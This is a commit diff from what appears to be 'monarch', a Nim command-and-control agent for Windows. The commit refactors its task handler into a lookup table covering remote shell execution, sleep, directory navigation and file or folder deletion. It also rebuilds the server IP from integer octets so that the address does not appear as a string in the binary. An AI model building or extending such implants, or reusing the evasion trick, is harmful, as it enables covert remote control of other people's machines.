Refactor redundant code for better extensibility with new commands.

agents/monarch/monarch.nim

@@ -2,7 +2,6 @@ import strformat, os, times
 import winim
 
 import ./[types, http, task]
-import commands/shell
 
 const ListenerUuid {.strdefine.}: string = ""
 const Octet1 {.intdefine.}: int = 0
@@ -32,6 +31,7 @@ proc main() =
     # Reconstruct IP address, which is split into integers to prevent it from showing up as a hardcoded-string in the binary
     let address = $Octet1 & "." & $Octet2 & "." & $Octet3 & "." & $Octet4 
 
+    # Create agent configuration
     var config = AgentConfig(
         listener: ListenerUuid,
         ip: address, 

agents/monarch/task.nim

@@ -1,53 +1,32 @@
-import strutils
+import strutils, tables
 import ./types 
 import ./commands/commands
 
 proc handleTask*(task: Task, config: AgentConfig): TaskResult = 
     
+    var taskResult: TaskResult
+
+    let handlers = {
+        ExecuteShell: taskShell,
+        Sleep: taskSleep,
+        GetWorkingDirectory: taskPwd,
+        SetWorkingDirectory: taskCd,
+        ListDirectory: taskDir,
+        RemoveFile: taskRm,
+        RemoveDirectory: taskRmdir
+    }.toTable
+
     # Handle task command
-    case task.command: 
-
-    of ExecuteShell: 
-        let taskResult = taskShell(task)
-        echo taskResult.data
-        return taskResult
+    taskResult = handlers[task.command](task)
+    echo taskResult.data
 
+    # Handle actions on specific commands
+    case task.command:
     of Sleep:         
-        # Execute task
-        let taskResult = taskSleep(task)
-        
-        # Update sleep delay in agent config
         if taskResult.status == Completed: 
             config.sleep = parseInt(task.args[0])
-
-        # Return result
-        return taskResult
-
-    of GetWorkingDirectory: 
-        let taskResult = taskPwd(task)
-        echo taskResult.data 
-        return taskResult
-
-    of SetWorkingDirectory:
-        let taskResult = taskCd(task)
-        echo taskResult.data
-        return taskResult
-
-    of ListDirectory:
-        let taskResult = taskDir(task)
-        echo taskResult.data
-        return taskResult
-
-    of RemoveFile:
-        let taskResult = taskRm(task)
-        echo taskResult.data
-        return taskResult
-
-    of RemoveDirectory:
-        let taskResult = taskRmdir(task)
-        echo taskResult.data
-        return taskResult
-
     else: 
-        echo "Not implemented"
-        return nil 
+        discard
+
+    # Return the result
+    return taskResult

agents/monarch/types.nim

@@ -1,4 +1,4 @@
-import winim 
+import winim, tables
 import ../../server/types
 export Task, TaskCommand, TaskResult, TaskStatus
 
@@ -24,9 +24,9 @@ type OSVersionInfoExW* {.importc: "OSVERSIONINFOEXW", header: "<windows.h>".} =
   wProductType*: UCHAR
   wReserved*: UCHAR
 
-type 
-    AgentConfig* = ref object 
-        listener*: string 
-        ip*: string 
-        port*: int 
-        sleep*: int 
+type
+    AgentConfig* = ref object
+        listener*: string
+        ip*: string
+        port*: int
+        sleep*: int